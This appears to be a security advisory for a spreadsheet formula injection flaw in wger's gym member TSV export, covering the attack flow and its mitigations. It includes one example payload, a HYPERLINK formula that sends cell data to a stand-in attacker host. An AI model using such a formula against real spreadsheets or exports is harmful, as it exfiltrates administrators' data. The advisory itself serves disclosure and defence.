Description

wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export endpoint, allowing any gym member to inject spreadsheet formulas. Attackers can inject formulas like =HYPERLINK to exfiltrate admin data or execute code when admins open the exported file in Excel or LibreOffice Calc.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "5.4",
  "pubDate": "2026-09-06T12:17:16.700Z",
  "pubdate": "2026-09-06T12:17:16.700Z",
  "executiveSummary": "The wger application, specifically in versions prior to 2.6, contains a vulnerability related to improper input validation within the gym member TSV export functionality. This flaw facilitates a CSV/Spreadsheet Formula Injection attack (often referred to as DDE injection).\nThe vulnerability occurs because user-supplied data in the 'first_name' and 'last_name' fields is reflected directly into the exported TSV file without adequate sanitization or escaping mechanisms. An attacker, potentially a registered gym member, can supply malicious spreadsheet formulas as their name, which are subsequently interpreted by spreadsheet software like Microsoft Excel or LibreOffice Calc upon opening the exported file.\nThe impact is significant, as successful exploitation allows for unauthorized data exfiltration or potential remote code execution (RCE) on the victim's workstation. This threat specifically targets administrative or privileged users who frequently process these exported reports. Because the execution occurs on the client-side software rather than the server, it bypasses server-side security controls. Users are urged to update to version 2.6 or later to remediate this vulnerability.",
  "technicalDetails": "The vulnerability resides within the gym member management module, specifically where the application handles the generation of TSV (Tab-Separated Values) files for member data export. The core issue is the lack of proper encoding or neutralization of special characters that have functional significance in spreadsheet applications.\nWhen a user provides input containing characters such as '=', '+', '-', or '@' at the start of the 'first_name' or 'last_name' fields, the wger application includes these inputs verbatim in the resulting TSV output. Spreadsheet applications, when opening a file containing these sequences, will automatically evaluate them as active formulas rather than treating them as inert text strings.\nAn attacker can craft a payload leveraging functions such as =HYPERLINK() or =CMD() (depending on the specific spreadsheet software configuration and version). For instance, an attacker could set their last name to '=HYPERLINK(\"http://attacker.com/steal?data=\"+A1, \"Click to view\")'. When an administrator downloads and opens this TSV file, the spreadsheet application attempts to execute the formula. If the formula is designed to send data, it can exfiltrate sensitive local context, system environment variables, or private data present in other columns of the spreadsheet via a GET request to an attacker-controlled server.\nThe attack flow proceeds as follows: 1) The attacker updates their profile with a malicious formula payload. 2) The administrator triggers the gym member report export functionality. 3) The application generates the TSV file containing the injected formula. 4) The administrator downloads and opens the TSV file. 5) The spreadsheet application parses the malicious cell, triggering the formula execution.\nThis vulnerability is particularly dangerous because the malicious payload is stored persistently in the database and remains dormant until an authorized user processes the export. It requires no specific network access beyond the ability to modify profile information, and the exploitation occurs entirely within the context of the client-side spreadsheet software. The lack of output sanitization or a prefix character (such as a single quote, which is often used in CSV injection prevention to force a cell to be treated as text) allows the formula to be interpreted directly upon file load."
}